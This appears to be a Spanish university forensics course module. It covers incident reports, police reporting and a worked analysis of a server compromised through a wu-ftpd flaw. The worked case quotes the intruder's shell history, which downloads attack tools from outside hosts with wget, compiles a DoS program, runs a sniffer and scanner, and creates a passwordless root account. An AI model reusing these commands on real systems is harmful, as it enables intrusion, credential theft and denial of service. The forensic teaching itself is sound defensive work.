empresas, organismos, etc.; es decir, personas que no tienen un perfil técnico.

Por tanto, el lenguaje del informe no debe ser muy técnico y, si se utiliza alguna

jerga técnica, tiene que ser explicada de una manera clara.

Este informe consta de los siguientes puntos:
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• Introducción: se describe el objeto del informe así como el coste del inci-

dente acaecido.

• Descripción: se detalla que ha pasado en el sistema de una manera clara y

concisa sin entrar en cuestiones muy técnicas. Hay que pensar que dicho

informe será leído por personal sin conocimientos técnicos o con muy

escasos conocimientos.

• Recomendaciones: se describen las acciones que se deben realizar una vez

comprobado que se ha sufrido una incidencia para evitar otra incidencia

del mismo tipo, así como si debe ser denunciado.

4.3.2. Informe técnico

En este tipo de informe sus principales lectores son personas con un perfil

técnico (ingenieros, técnicos superiores, etc.), siendo el objetivo del informe

describir qué ha ocurrido en el sistema. El informe debe contener al menos

los siguientes puntos:

• Introducción: donde se describe el objeto principal del informe y se deta-

llan los puntos fundamentales en que se disecciona el informe.

• Preparación del entorno y recogida de datos: se describen los pasos a seguir

para la preparación del entorno forense, la adquisición y verificación de

las imágenes del equipo afectado, etc.

• Estudio forense de las evidencias: en este punto se describe la obtención

de las evidencias así como de su significado.

• Conclusiones: donde se describen de una manera detallada las conclusio-

nes a las que se han llegado después de haber realizado el análisis.
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5. Problemas habituales

Los problemas fundamentales que nos encontramos en la realización de un

análisis forense son diversos y las consecuencias también pueden ser varias. A

continuación, mostramos algunos de los problemas más habituales:

• En la duplicación del dispositivo de almacenamiento puede ocurrir, si el

disco copia no ha sido formateado a bajo nivel previamente, que la infor-

mación que contenga ese disco copia tenga impurezas, con lo que el es-

tudio no tiene validez. También puede ocurrir que por un lapsus se inter-

cambien el dispositivo origen por el de destino, con lo que las evidencias

se pierden. Para evitarlo, es recomendable usar un dispositivo de almace-

namiento nuevo, formatearlo a bajo nivel y etiquetar todos los dispositi-

vos involucrados. También existen para la clonación dispositivos especia-

les que no permiten escribir en el origen aunque su coste es elevado.

• En el transporte del dispositivo clonado, si éste contuviese datos de carác-

ter personal, no se cumple con la legislación pertinente (LOPD Y RDLOPD)

y podría haber una sanción de la Agencia Española de Protección de Da-

tos. Por ejemplo, firmar un contrato de encargo de tratamiento, rellenar

el registro de entrada y salida, etc.

• En la fase de análisis e investigación, uno de los problemas es determinar

el sujeto que ha originado la incidencia, así como obtener las pruebas o

indicios para demostrarlo.

• En muchas ocasiones nos encontramos con complejidades técnicas y le-

gales que dificultan el trabajo.

Complicaciones legales

A nivel legal, podemos vulnerar alguno de los derechos fundamentales del individuo,
con lo que pueden denunciarnos con todo lo que ello conlleva. Además, al vulnerar un
derecho fundamental de los que anteriormente ya hemos hablado (inviolabilidad de las
comunicaciones, correo-e, sniffer, de las carpetas personales, etc.) podemos estropear toda
la investigación. Por lo tanto, no sirve de nada todo el trabajo realizado e incluso puede
tener consecuencias legales para el investigador.

• Poder determinar la conexión de causalidad, es decir, la conexión entre la

causa y el efecto.

• En la fase de análisis e investigación, si los relojes del sistema no están

sincronizados mediante el protocolo NTP (network time protocol) es muy

complicado obtener la línea de tiempo y con ello la trazabilidad hasta el

origen del incidente.
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6. Denuncia a la policía judicial

Desde hace años existen en los diferentes Cuerpos del Estado (Policía Nacional,

Guardia Civil, Mossos de Escuadra, etc.) grupos especializados en este tipo de

actos delictivos.

Por ejemplo, en 1997 se creó en la Guardia Civil un grupo de investigación

dependiente de la Unidad Central Operativa de Policía Judicial con sede en

Madrid y que abarca todo el territorio.

Basta solo comentar a modo de ejemplo que en el año 2007 ha habido más de

1.000 denuncias y sigue incrementando el número.

Webs recomendadas

https://www.gdt.guardiacivil.es/faq.php. Existen varios tipos de formulario, depen-
diendo de los hechos ante los que nos encontremos.

http://www.policia.es/bit/index.htm. Existen varios tipos de correo-e, dependiendo de
los hechos ante los que nos encontremos.

Figura 15. Fuente: La Voz de Galicia

Los pasos a seguir por la policía judicial son los siguientes:

1)�Recepción�de�la�denuncia por parte de la persona física o jurídica, ya sea

por medio de su representante legal (empresas o instituciones), o del admi-

nistrador del equipo informático o de la red. Es importante que el encargado

de la puesta en conocimiento del presunto hecho delictivo, tenga una clara y

https://www.gdt.guardiacivil.es/faq.php
http://www.policia.es/bit/index.htm
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concreta composición del hecho (es decir, los hechos acontecidos en los siste-

mas), así como que aporte (si fuese posible) algún tipo de indicio en formato

electrónico (memoria USB, disquete, CD/DVD, zip, etc.), sin perjuicio de la

perceptiva inspección ocular que se hará con posterioridad.

De la misma manera, es conveniente una valoración aproximada de los daños

(en el caso de que existan), sin perjuicio de que posteriormente se puedan

modificar.

2)�Inspección�ocular: por parte de la Guardia Civil se lleva a cabo una minu-

ciosa inspección ocular que permite analizar todos los indicios, rastros o posi-

bles pruebas que pudiesen existir en el equipo informático. Para esto, si fuese

necesario, se realizaría una clonación de los dispositivos de almacenamiento.

En caso de ser necesario para el proceso penal, se precintan los componentes

afectados, procediéndose a su depósito a disposición de la Autoridad Judicial

que entiende de ese hecho; dicho depósito se realiza en las instalaciones pro-

pias del denunciante, siendo éste el que figuraría como depositario. En caso

de que el equipo informático fuese necesario para una actividad concreta y

necesaria en algún ámbito, se podría poner en normal funcionamiento, ha-

ciendo constar este hecho por escrito y siempre debidamente fundamentado.

En este caso se deben salvar, como mínimo, las estructuras de los directorios

del equipo afectado.

3)�Realización�de�un�informe complementario para su remisión al juzgado

en unión de todo lo actuado, en el que se indicaría de forma clara y lo menos

técnica posible el proceso del ataque a ese sistema informático, así como las

conclusiones a las que se ha llegado. Este informe puede ir complementado

con otros en los que se explique de forma más detallada, huyendo de excesivos

tecnicismos, el funcionamiento de algún servicio y/o concepto relacionado

con Internet (correo electrónico, números IP, sniffers, etc.).

4) El resto de los pasos son los característicos en cualquier investigación, hasta

el total esclarecimiento de los hechos, así como la puesta a disposición judicial

de los presuntos responsables, si fuese el caso.
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7. Herramientas

Antes de enumerar las diferentes herramientas que pueden ser necesarias a la

hora de realizar un análisis forense, es necesario hablar del Instituto Nacional

de los Estándares y la Tecnología (National Institute of Standards and Techno-

logy, también conocido como NIST).

El NIST fue fundado en 1901 como una agencia federal que forma parte del

Departamento de Comercio de los Estados Unidos. Su misión es elaborar y

promover patrones de la medición, los estándares y la tecnología con el fin de

crear productividad, facilitar el comercio y mejorar la calidad de vida.

Web recomendada

Para más información, po-
déis consultar:
http://www.nist.gov/

Este instituto lleva a cabo un proyecto para el testeo de herramientas de aná-

lisis forense de ordenadores (computer forensic tool testing, CFTT). Su principal

objetivo es la certificación de herramientas de hardware y software con el fin

de asegurar que su uso ofrece resultados fiables.

A continuación se muestran algunas de las herramientas que se utilizan en un

análisis forense.

Web recomendada

Para más información, po-
déis consultar:
http://www.cftt.nist.gov/

http://www.nist.gov/
http://www.cftt.nist.gov/
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Resumen

En este módulo se hace una introducción de la ciencia conocida como análisis

forense de sistemas informáticos, con lo que, ante un incidente de seguridad, se

tiene que tener el conocimiento de saber cómo reaccionar. Para ello:

• Se explica cómo afrontar la adquisición de los datos, así como su análisis

e investigación.

• Se ha explicado la base jurídica de la infracción y cómo obtener pruebas

incriminatorias sin violar los derechos de los usuarios e infractores.

• Se han expuesto las diferentes formas de contactar con la policía judicial,

así como su modo de actuación una vez que reciben la denuncia.

• Se explica cómo realizar un informe del incidente.
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Introducción

En este módulo veremos un ejemplo práctico de la realización de un análisis

forense de un servidor atacado. Dicho servidor se encuentra en una organiza-

ción (Universitat Oberta de Catalunya) que no tiene ninguna medida de segu-

ridad: ni cortafuegos, ni IPS/IDS, tal como se muestra en la figura 1. Aunque

pueda parecer inverosímil, dicha situación es una situación real en muchas

empresas y organizaciones.

Figura 1. Arquitectura del sistema

Se recomienda siempre que ante un incidente de seguridad se asesore por es-

pecialistas jurídicos en el campo de las telecomunicaciones, ya que una mala

praxis en esta ciencia nos puede generar muchos problemas al vulnerar algún

derecho.

Bufetes importantes

Los bufetes más importantes
en la actualidad en España y
con reconocimiento en Europa
son varios: Garrigues, Pintos &
Salgado y Legalia entre otros.



© FUOC • P09/M2107/00009 6 Ejemplo de análisis forense

Objetivos

Con los materiales de este módulo didáctico se pretende que los estudiantes

alcancen los objetivos siguientes:

1. Afianzar las fases del análisis forense.

2. Conocer en la práctica las herramientas que se deben utilizar en el análisis

forense.

3. Comprender un ejemplo de informe.



© FUOC • P09/M2107/00009 7 Ejemplo de análisis forense

1. Informe

El esquema que se sigue para resolver una incidencia de seguridad consta de

los siguientes apartados:

• Antecedentes: se describe la información que existe del sistema afectado

una vez detectado el incidente.

• Proceso�de�análisis: se detalla de forma resumida la secuencia de activi-

dades llevadas a cabo para la obtención de las evidencias.

• Entorno�de�investigación: se detalla la arquitectura del entorno para la

realización del análisis forense usado para la investigación, así como de las

herramientas utilizadas.

• Preparación�del�proceso�de�análisis: se describe la preparación del entor-

no de investigación.

• Cronología�de�actividades: se describen todas las actividades realizadas

por los atacantes de forma secuenciada. Dicha cronología empieza desde

el inicio del ataque hasta la realización de la imagen del sistema. Se añade

en cada punto las evidencias que sustentan dicha conclusión.

• Análisis�del�malware�encontrado: se muestran los ficheros creados en el

sistema como consecuencia del ataque, indicando su objetivo.

• Análisis�de�las�IP�involucradas: se muestra la información obtenida de

las IP que se han implicado en el incidente.

• Conclusiones: se resumen los principales puntos acaecidos en el sistema.

1.1. Antecedentes

El día 25/11/08 el centro de atención al usuario CAU recibe un aviso por parte

del responsable del sistema (Jose Luis Rodríguez), del Departamento de Len-

guajes y Sistemas Informáticos, de que el equipo con IP 92.122.188.51 tiene

un comportamiento errático.

Descripción del informe. Antecedentes

En esta parte del informe, se describe cómo se ha llegado a descubrir la incidencia:

• un aviso de correo-e de un CERT
• una llamada de un usuario
• un aviso del antivirus corporativo
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• etc.

También se debe describir las características del equipo, persona de contacto, arquitectu-
ra, ... para que el lector del informe se sitúe en el entorno. Si se tiene una estimación del
coste económico que ha tenido el incidente seria bueno ponerlo.

El equipo está ubicado en el aula 10 de dicho departamento en el edificio

central siendo las características del servidor las siguientes:

Fabricante: HP

Modelo: TC-2021

Número de serie: 1234567890

Microcontrolador: P4 2.6 GHz

Memoria: 256 MB

Disco Duro: 80 GB (IDE – MARCA: Maxtor – S/N: aabbcc1234)

Sistema Operativo: Redhat 7.1

Nombre del equipo: Server1

IP: 92.122.188.51

Antivirus: No

Cortafuegos: No (ni a nivel hardware ni software)

En la figura 2 se muestra la arquitectura encontrada del sistema afectado:

Figura 2. Arquitectura del sistema

1.2. Proceso de análisis

A continuación se describe el proceso empleado en el análisis del sistema ata-

cado una vez que se ha descartado que el sistema tenga una configuración

errónea, etc.:

Descripción del proceso empleado

En esta parte del informe se describe el proceso empleado en el análisis del sistema para
que el lector del informe pueda saber qué es lo que se ha hecho hasta el momento y
hacerse una idea del alcance del problema.
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1) Clonación del disco duro y realizar el checksum para verificar que la copia

ha sido idéntica y así poder trabajar sin alterar la información original.

2) Preparación y configuración del entorno de investigación.

3) Utilización de las herramientas de análisis forense antes comentadas. Entre

ellas el Autopsy para poder obtener un cronograma desde el punto de vista del

sistema de ficheros.

4) Análisis de los ficheros de configuración del sistema ubicados en /etc/

a) Comprobar la versión del servidor.

b) Comprobar el uso horario.

c) Analizar las cuentas creadas para comprobar si se han creado cuentas nue-

vas, o si en alguna han sido modificados los permisos de las cuentas.

d) Comprobar los servicios que están funcionando.

e) Etc.

5) Análisis de los ficheros log y del historial para detectar las diferentes acti-

vidades del sistema (accesos vía ssh, ftp, accesos no autorizados, reinicios del

sistema, etc.):

a) /var/log/secure

b) /var/log/wtmp

c) /var/log/boot.log

d) /var/log/messages

e) .bash_history

f) etc.

6) Obtención de los ficheros modificados de la siguiente manera:

a) Buscando ficheros borrados en el sistema con la herramienta Autopsy don-

de podemos encontrar malware borrado por el atacante, por los usuarios

y/o administradores.

b) Comparando una lista de ficheros de un sistema limpio con su checksum

md5 con los ficheros obtenidos del sistema atacado.

c) Comprobar la integridad de los paquetes rpm instalados por si han sido

modificados y no son los que instala originalmente el sistema. Dicha com-

probación se realiza mediante el comando:

rpm –verify –a –root /mnt/hda1

7) Comprobación de software instalado.
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8) Análisis de binarios (comprobar que realmente hacen la función con lo que

han sido creados). Ejecutándolos siempre en un entorno VmWare controlado.

9) Realización de hipótesis y su comprobación en la máquina VmWare limpia.

10) Redacción del informe y de sus conclusiones.

1.3. Entorno de investigación

En este apartado describiremos las diversas herramientas que han sido nece-

sarias para la realización del análisis, así como la preparación de los diferentes

entornos a utilizar. En este caso se han utilizado tres entornos de trabajo como

se detalla más adelante.

1.3.1. Herramientas utilizadas

El sistema atacado se analizó con una combinación de las siguientes herra-

mientas:

Software Descripción

Vmware Aplicación comercial que permite virtualizar sistemas operativos.

Red�Hat Sistema operativo que ha sido atacado.

Ubuntu�Server Sistema operativo anfitrión donde se aloja el VmWare Server.

Mac�OS�X Sistema operativo que se emplea en los equipos de trabajo.

The�Sleuth�Kit Conjunto de herramientas de análisis forense de libre distribución.

Autopsy Interfaz gráfico para The Sleuth Kit.

OpenOffice Paquete ofimático en el que se utiliza su procesador de textos para redac-
tar dicho informe y la hoja de cálculo, para facilitar el análisis de la infor-
mación mediante filtros.

Google Buscador de información.

Security�Focus Portal web sobre incidentes de seguridad (exploits, soluciones, ataques,
etc.).

1.3.2. Entorno de trabajo

VmWare

VmWare es un sistema de vir-
tualización de máquinas vir-
tuales. Una máquina virtual es
un software que emula a un
sistema permitiendo correr va-
rios sistemas operativos dife-
rentes en la misma máquina.

Para realizar el análisis forense del sistema, el entorno de investigación está

basado en el uso de VmWare. En primer lugar hemos creado un disco virtual

de 80 Gb y en él hemos volcado la imagen obtenida del servidor atacado para

después poder analizarlo en modo "no-persistente" sin alterar de esta manera

la información de dicho disco cuando accedemos a él.

Con acceso a este disco creamos varios entornos de trabajo de VmWare:

Modo "no-persistente"

Poner la máquina virtual en
modo no persistente para que
los cambios se eliminen al rei-
niciar.
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Entorno�1, con Mac OS X, y una serie de herramientas de análisis forense para

utilizar. Este entorno tiene acceso tanto al disco virtual como al fichero de la

imagen original mediante una "carpeta compartida". Se puede observar en la

figura 3 cómo sería dicho entorno.

Figura 3. Arquitectura utilizada en el estudio del sistema

Entorno�2, en el que, tras haber verificado que el sistema original es un Red-

Hat 7.1, creamos un sistema virtual VmWare con este mismo sistema recién

instalado y, por lo tanto, sin estar contaminado. De esta forma podemos, de

forma fácil, comparar el sistema analizado con respecto a uno estándar. El

sistema también nos sirve para hacer pruebas y ver la evolución del ataque.

Además también instalamos en la máquina virtual antes creada las distintas

aplicaciones y parches que hemos identificado en el avance del análisis. Todo

esto se realiza para corroborar nuestras hipótesis. En la figura 3 se puede ver

cómo queda dicho entorno.

Entorno�3, con un duplicado de la imagen arrancable. Obviamente, es crítico

no permitir el acceso a la red de producción de este sistema para evitar posibles

infecciones. Para facilitar el análisis forense, utilizamos el CD-ROM auditor.

En la figura 4 se muestra dicho entorno.

Figura 4. Entorno 3 de trabajo
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1.4. Preparación del proceso de análisis

De forma resumida, el proceso empleado en el análisis forense del sistema

atacado ha sido el siguiente:

1.4.1. Clonación del disco duro

Se ha clonado el disco duro del sistema atacado mediante un CD-ROM live up,

con el comando dd a un disco destino de 80GB seagate nuevo. Una vez rea-

lizada dicha clonación, se ha hecho un checksum para certificar que son dos

copias idénticas.

# dd if=/dev/hda of=/dev/hdb conv=sync,notrunc,noerror bs=512

# dd if=/dev/hda of=/mnt/hd_comprometido.dd

conv=sync,notrunc,noerror bs=512

#md5sum /dev/hda

7b8af7a2227f0412da808412345f2af4 /dev/hda

#md5sum /dev/hdb

7b8af7a2227f0412da808412345f2af4 /dev/hdb

#md5sum /mnt/hd_comprometido.dd

7b8af7a2227f0412da808412345f2af4 /mnt/hd_comprometido.dd

Como se puede comprobar, dicha clonación del disco ha sido correcta e inal-

terada con lo que continuamos a preparar el análisis.

1.4.2. Determinación de las particiones

Para identificar las particiones existentes en el disco duro del equipo atacado,

utilizamos el comando:

#fdisk –l /dev/hdb

Efectos de la clonación

Hay que fijarse en que, en la
clonación del disco, el check-
sum del disco origen es el mis-
mo que el del disco destino.
Eso implica que el proceso se
ha producido correctamente y
que son idénticos.

Con esta opción determinamos que:

Dispositivo Tipo

/dev/hdb1 83 - Linux

/dev/hdb2 82 - Linux Swap

Partición Swap del Linux

Recordar que los sistemas Li-
nux suelen tener una partición
Swap. Dicha partición es un
espacio de intercambio, en el
cual se guardan las imágenes
de los procesos que no han de
mantenerse en la memoria físi-
ca.



© FUOC • P09/M2107/00009 13 Ejemplo de análisis forense

1.4.3. Crear particiones para cada fichero imagen

Se han clonado las particiones del sistema atacado mediante un CD-ROM li-

ve-up con el comando dd a imágenes.

# dd if=/dev/hdb1 of=/mnt/hdb1.dd

#md5sum /dev/hdb1

7abcf7a2227f0412da808412345f2af4 /dev/hdb1

#md5sum /mnt/hdb1.dd

7abcf7a2227f0412da808412345f2af4 /mnt/hdb1.dd

# dd if=/dev/hdb2 of=/mnt/hdb2.dd

#md5sum /dev/hdb2

7ffcf7a2227f0412da808412345f2af4 /dev/hdb2

#md5sum /dev/hdb2.dd

7ffcf7a2227f0412da808412345f2af4 /dev/hdb2.dd

Como se puede comprobar, la clonación de las particiones ha sido correcta

e inalterada con lo que continuamos con la preparación. Estas imágenes se

guardarán en la carpeta compartida.

1.4.4. Preparación entorno 1

Configuramos la máquina virtual para que arranque desde un CD live up y

creamos previamente un disco duro con la misma capacidad con el nombre

disco-hackeado. Arrancamos la máquina virtual y procedemos a dividir en par-

tes el disco duro:

Dispositivo Tipo

/dev/sda1 83 - Linux

/dev/sda2 82 - Linux Swap

Una vez hechas las particiones, se clona.

# dd if=hdb1.dd of=/dev/sda1

#md5sum /dev/sda1

7abcf7a2227f0412da808412345f2af4 /dev/sda1

# dd if=hdb2.dd of=/dev/sda2

#md5sum /dev/sdb2

Tras la partición

Una vez verificadas las particio-
nes que existen en el disco clo-
nado, se han comprobado las
particiones que tiene cada una
de ellas de forma independien-
te, para clonarlas y así analizar
el sistema en uno de los entor-
nos.
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7ffcf7a2227f0412da808412345f2af4 /dev/sdb2

Para que pueda ser arrancado, montamos el disco en modo escritura y lectura.

#mount /dev/sda1 /mnt

Luego, modificamos en archivo /mnt/etc/fstab y definimos los nuevos

puntos de montaje a partir de /dev/sda en lugar de /dev/hda. Como al utili-

zar en está máquina VMWare dispositivos SCSI (requisito de VmWare) se hace

necesario cargar los módulos SCSI en el kernel nada más arrancar, para este

objetivo añadimos la línea:

alias scsi_hostadapter Buslogic

en el archivo /mnt/etc/modules.

También editamos el archivo /mnt/etc/lilo.conf para adaptarlo a la nueva

situación de arranque. Para ello incluimos la línea:

initrd=/boot/initrd

y se cambia hda por sda como dispositivo de arranque. Finalmente, instalamos

la nueva configuración del lilo en el dispositivo que se está preparando:

#lilo –r /mnt

Se reinicia la máquina quitando el CD de arranque live-up.

1.4.5. Preparación entorno 2

Se crea una máquina virtual con el disco duro de la misma capacidad. Se instala

el sistema operativo RedHat 7.1 con las imágenes ISO; con ello se realiza una

instalación por defecto similar a la máquina atacada.

Además se utilizan las herramientas de análisis forense de los equipos con Mac

OS X y se montan ambas particiones en modo lectura:

#mount –o loop,ro,nodev –t ext2 /carpeta_compartida/hda1.dd /mnt/hda1

1.4.6. Preparación entorno 3

Este entorno es el más real posible, ya que lo único que se ha modificado

ha sido el disco duro clonado con lo que no hay que hacer nada más que

reemplazarlo, es decir, colocar el disco duro que hemos copiado tal y como

Información sobre hda y
sda

hda es como identifica los sis-
temas Linux los discos duros
con la controladora IDE, mien-
tras que sda son identificados
los dispositivos SCSI.
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estaba en el servidor original. Este entorno se ha realizado de esta manera en

vez de otras posibles, ya que se ha dado la casualidad que la máquina atacada

tiene una arquitectura muy simple.

1.4.7. Determinación del uso horario

Otro dato importante antes de empezar el estudio de las imágenes es cono-

cer la zona horaria en que está definida la máquina comprometida. Miran-

do el fichero /mnt/etc/sysconfig/clock vemos que está definida como

ZONE="Europe/Madrid".

#cat /mnt/etc/sysconfig/clock

ZONE="Europe/Madrid"

UTC=false

ARC=false

A partir de ahora, cuando realicemos referencias horarias, se tomará esta zona

como ejemplo. La precisión de la hora es poca al carecer la máquina de un

servidor NTP configurado.

1.4.8. Identificación de las cuentas de usuario

Para el correcto análisis de los ficheros es imprescindible cotejar sus accesos y

acciones con las cuentas de usuario existentes. Para su obtención visualizare-

mos las entradas de los ficheros /etc/passwd, /etc/shadow y /etc/group.

#cat /mnt/etc/passwd

...

jrivas:x:500:500:Jose Luis Rivas:/home/usuarios/jrivas:/bin/bash

pepe:x:0:0:root:/root:/bin/bash

evallejo:501:501:Eva Vallejo:/home/usuarios/evallejo:/bin/bash

#cat /mnt/etc/shadow

jrivas: $1$72J7zmEQ$zrqOxJkBxLdwJZCJMXMrx/:14190:0:99999:7:::

pepe::14190:0:99999:7:::

evallejo:$1$WpmxaxZ3$BTVR6MGnbOxabQec89o11.:14190:0:99999:7:::

#cat /mnt/etc/group

jrivas:x:500:

evallejo:x:501:

Podemos observar que hay tres usuarios que han sido añadidos con respecto

al sistema limpio: jrivas, pepe y evallejo. Lo más significativo es que el usuario

pepe se trata de un usuario con privilegios de administrador (uid=0 y gid=0).

NTP

NTP es un protocolo que se
utiliza para sincronizar los re-
lojes de los sistemas informáti-
cos. NTP utiliza UDP como su
capa de transporte, usando el
puerto 123.
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Además, dicho usuario no necesita una contraseña para acceder al sistema y

tiene un shell en el sistema /bin/bash , cosa que evidentemente no es normal

o no lo debería ser.

1.5. Cronograma de actividades

A continuación se describe un cronograma de actividades detectadas en el

sistema en el mes de noviembre del 2008:

1.5.1. Instalación del sistema operativo

Periodo:

Viernes 7 de noviembre de 16:55:59 a 17:00:59

Información:

Se puede comprobar que la versión del fichero instalado es la Red Hat 7.1,

conocida también como Seawolf:

#cat /mnt/hda1/etc/redhat-release

Red Hat Linux release 7.1 (Seawolf)

Se obtiene la lista de paquetes instalados en el sistema según la base de datos

de RPM. Para ello lo ordenamos por fecha de instalación:

#rpm -qa --dbpath /mnt/hda1/var/lib/rpm/ --last

wget-1.5.3-1 vie 21 nov 2008 23:25:24 CET

zlib-devel-1.1.3-22 vie 07 nov 2008 17:00:59 CET

texinfo-4.0-20 vie 07 nov 2008 17:00:59 CET

sudo-1.6.3p6-1 vie 07 nov 2008 17:00:59 CET

stunnel-3.13-3 vie 07 nov 2008 17:00:59 CET

strace-4.2.20010119-3 vie 07 nov 2008 17:00:59 CET

...........

anonftp-4.0-4 vie 07 nov 2008 16:57:29 CET

xinetd-2.1.8.9pre14-6 vie 07 nov 2008 16:57:28 CET

wu-ftpd-2.6.1-16 vie 07 nov 2008 16:57:28 CET

urw-fonts-2.0-12 vie 07 nov 2008 16:57:28 CET

telnet-server-0.17-10 vie 07 nov 2008 16:57:28 CET

...........

man-pages-es-0.6a-7 vie 07 nov 2008 16:56:09 CET

man-pages-1.35-5 vie 07 nov 2008 16:56:08 CET

mailcap-2.1.4-2 vie 07 nov 2008 16:56:07 CET

kudzu-devel-0.98.10-1 vie 07 nov 2008 16:56:07 CET

indexhtml-7.1-2 vie 07 nov 2008 16:56:07 CET

glibc-common-2.2.2-10 vie 07 nov 2008 16:56:07 CET
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ghostscript-fonts-5.50-3 vie 07 nov 2008 16:55:59 CET

También se puede observar que el viernes 21 de noviembre del 2008 fue ins-

talado a posteriori el paquete wget-1.5.3-1.

1.5.2. Conexiones a los servicios FTP

Periodo:

Viernes 21 de noviembre de 22:10:12 a 23:21:16

Información:

Se observa que el sistema recibe infinidad de conexiones a los servicios FTP,

los primeros de ellos sin consecuencias, pero en uno de ellos un atacante logra

un acceso como administrador del sistema (root) explotando la vulnerabilidad

CVE-2001-0550 (wu-ftpd file globbing heap corruption vulnerability) del servicio

FTP wu-ftpd 2.6.1 (como se puede observar, dicho servicio es el que está ins-

talado en la máquina que ha sido atacada). Además, si se accede al Security

Focus, se observa que la versión del sistema operativo es una de las que está

comprometida con dicho exploit, como se muestra en la figura 5.

Figura 5. Captura de pantalla de securityfocus, donde se explica dicha vulnerabilidad

El atacante utiliza un agujero que proporciona una shell interactiva de root en

el sistema.

El log del sistema /var/log/messages muestra un patrón curioso. Se obser-

van varios intentos de conexiones FTP frustradas. A continuación muestra co-

nexiones FTP anónimas. Obsérvese que la contraseña suministrada por el ata-

Web recomendada

Para más información, po-
déis consultar:
http://
www.securityfocus.com/bid/
3581/

http://www.securityfocus.com/bid/3581/
http://www.securityfocus.com/bid/3581/
http://www.securityfocus.com/bid/3581/
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cante en los accesos anónimos es mozilla@. Esta evidencia nos demuestra que

se ha utilizado el exploit 7350wurm. Además esté exploit fue grabado posterior-

mente en /root/.wu/.

#less /mnt/hda1/var/log/messages

Nov 21 22:10:12 localhost ftpd[2061]: FTP LOGIN REFUSED (username in denied-uid)

 FROM 192.168.194.1[192.168.194.1], root

Nov 21 22:14:26 localhost ftpd[2066]: FTP session closed

Nov 21 22:14:30 localhost ftpd[2067]: FTP session closed

........

Nov 21 23:19:34 localhost ftpd[2169]: FTP session closed

Nov 21 23:20:38 localhost ftpd[2170]: FTP LOGIN FROM 192.168.1.105[192.168.1.105], mozila@

Nov 21 23:21:00 localhost ftpd[2176]: FTP LOGIN FROM 192.168.1.105[192.168.1.105], mozila@

Nov 22 23:21:16 localhost ftpd[2255]: FTP LOGIN FROM 192.168.1.105[192.168.1.105], mozila@

El log /var/log/secure nos corrobora estos intentos de acceso y los accesos

anónimos por ftp.

#less /mnt/hda1/var/log/secure

Nov 21 23:20:38 localhost xinetd[2155]: START: ftp pid=2159 from= 192.168.1.105

Nov 21 23:20:40 localhost xinetd[2155]: EXIT: ftp pid=2159 duration=2(sec)

Nov 21 23:21:00 localhost xinetd[2155]: START: ftp pid=2160 from= 192.168.1.105

Nov 21 23:21:01 localhost xinetd[2155]: EXIT: ftp pid=2160 duration=1(sec)

Nov 21 23:21:16 localhost xinetd[2155]: START: ftp pid=2161 from= 192.168.1.105

Nov 21 23:21:25 localhost xinetd[2155]: EXIT: ftp pid=2161 duration=9(sec)

Todos los intentos de acceso se realizan desde la IP 192.168.1.105.

1.5.3. Instalación de aplicaciones, Rootkits

Periodo:

Viernes 21 de noviembre de 23:25:24

Información:

Se instala el wget-1.5.3-1 el viernes 21 de noviembre a las 23:25:24, como se

puede comprobar en la lista de paquetes instalados en el sistema según la base

de datos de RPM. Para ello, lo ordenamos por fecha de instalación:

#rpm -qa --dbpath /mnt/hda1/var/lib/rpm/ --last

wget-1.5.3-1 vie 21 nov 2008 23:25:24 CET

zlib-devel-1.1.3-22 vie 07 nov 2008 17:00:59 CET

texinfo-4.0-20 vie 07 nov 2008 17:00:59 CET

.........
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El atacante también crea una cuenta con el nombre de evallejo, edita /etc/

passwd /etc/shadow y crea una cuenta superusuario, pepe, sin contraseña.

Inmediatamente después crea un directorio oculto en /root/.aw/ y en él ba-

ja varias aplicaciones maliciosas:

• Awu: se trata de un scanner que automatiza la intrusión en los sistemas

con el servicio wu-ftpd vulnerable.

• Smurf6-linux+LPG: se trata de un software en C que provoca una denega-

ción de servicio.

• Sniffer: se trata de un sniffer escrito en perl. Los sniffers son programas que

capturan todo lo que pasa por la Red, pudiendo éstos ser selectivos captu-

rando sólo lo que uno quiera. Por tanto, dichos programas equivaldrían a

hacer un pinchazo telefónico. Se utilizan para capturar a los usuarios con

sus respectivas contraseñas entre otras cosas. Una de las características de

este tipo de programas es que ponen la tarjeta de red en "modo promiscuo".

El intruso compila y ejecuta el sniffer durante unos minutos. Una vez que cap-

tura alguna contraseña con su usuario, pasa a ejecutar el programa awu contra

la red 10.10.0.0/16.

A continuación se muestra la parte del /root/.bash_history que recoge la

actividad descrita.

#less /mnt/hda1/root/.bash_history

adduser evallejo

vi /etc/passwd

vi /etc/shadow

uptime

w

cd

mkdir .aw

cd .aw

wget http://www.collstrop.net/shell/awu.tgz

tar xvfz awu.tgz

wget http://packetstormsecurity.org/DoS/smurf6-linux+LPG.c

wget http://sooraj.net/down/sniffer.txt

mv sniffer.txt sniffer.pl

chmod 755 sniffer.pl

gcc -g -o smurf smurf6-linux+LPG.c

./sniffer.pl

cd aw

./awu xx3.yy3

exit
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Además se corresponde con lo que se puede observar en los accesos a ficheros

del timeline de Autopsy.

1.6. Análisis del malware encontrado

A continuación se describe de una manera detallada el software que ha sido

instalado por el atacante.

1.6.1. Snnifer

El fichero descrito se encuentra ubicado en /root/.wu/. Dicho programa ma-

licioso ha sido bajado por el atacante y ha cambiado la extensión del fichero

mediante:

wget http://sooraj.net/down/sniffer.txt

mv sniffer.txt sniffer.pl

A continuación se muestra el checksum md5 del fichero encontrado:

MD5 Fichero

8181486484618e0ceb5e5d7774e8d815 sniffer.pl

En la siguiente tabla se describe cada uno de los ficheros:

Nota

Se muestra el checksum de los
ficheros para demostrar ante
posibles contraperitajes que di-
chos ficheros no han sido mo-
dificados.
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1.6.2. Smurf

Los ficheros descritos se encuentran ubicados en /root/.wu/. Dicho malware

ha sido bajado por el atacante y compilado mediante:

wget http://packetstormsecurity.org/DoS/smurf6-linux+LPG.c

gcc -g -o smurf smurf6-linux+LPG.c

A continuación se muestra el checksum md5 de los ficheros encontrado:

MD5 Fichero

808651fe21439c62212481053395de98 smurf

11532b4890cfaa17d22550878b0f55e6 smurf6-linux+LPG.c

Nota

Se muestra el checksum de los
ficheros para demostrar ante
posibles contraperitajes que di-
chos ficheros no han sido mo-
dificados.
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1.6.3. AW

Los ficheros descritos se encuentran ubicados en /root/.wu/aw. Dicho mal-

ware ha sido bajado por el atacante y descomprimido mediante los comandos

wget http://www.collstrop.net/shell/awu.tgz
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tar xvfz awu.tgz

A continuación se muestran los diferentes checksum md5 de los ficheros en-

contrados en /root/.wu/aw:

MD5 Fichero

480432ec9b9e79d9f1913efa4187b2a9 Makefile

ac45b33a1951a851142b2ec670e43664 auto

